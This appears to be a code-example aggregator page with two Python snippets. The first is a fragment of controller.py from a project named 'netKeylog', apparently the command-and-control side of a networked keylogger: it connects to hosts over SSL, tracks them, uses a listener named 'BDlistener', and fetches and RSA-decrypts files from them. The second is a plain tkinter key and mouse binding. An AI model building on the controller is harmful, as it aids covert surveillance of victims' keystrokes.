コード例 #1
0
ファイル: controller.py プロジェクト: sekkr1/netKeylog
            continue
        conn = socket.socket()
        utils.set_keepalive(conn)
        try:
            conn.connect((ip, HOST_PORT))
            conn = ssl.wrap_socket(
                sock=conn, certfile=CERT_FILE, keyfile=PRIVATE_KEY_FILE, server_side=True)
            hosts[ip] = conn
            update_hosts(utils.Event(hosts=hosts.keys()))
        except:
            conn.close()
    BDlistener.close()


if __name__ == "__main__":
    CERT_FILE = utils.resource_path("cert.pem")
    PRIVATE_KEY_FILE = utils.resource_path("key.pem")
    THREADS = 32

    private_key = RSA.import_key(open(PRIVATE_KEY_FILE).read())
    cipher_rsa = PKCS1_OAEP.new(private_key)
    hosts = {}
    pool = ThreadPool(processes=THREADS)
    
    app = Application(fetch_file)
    Thread(target=fetch_files, args=(app.on_file_fetched,
                                     app.get_interval, app.update_hosts), daemon=True).start()
    Thread(target=listen_to_hosts, args=(
        app.update_hosts,), daemon=True).start()
    app.mainloop()
コード例 #2
0
def main():
    root = tk.Tk()
    root.bind("<Key>", keypress)
    root.bind("<Button-1>", mouseclick)
    app = Application(master=root)
    app.mainloop()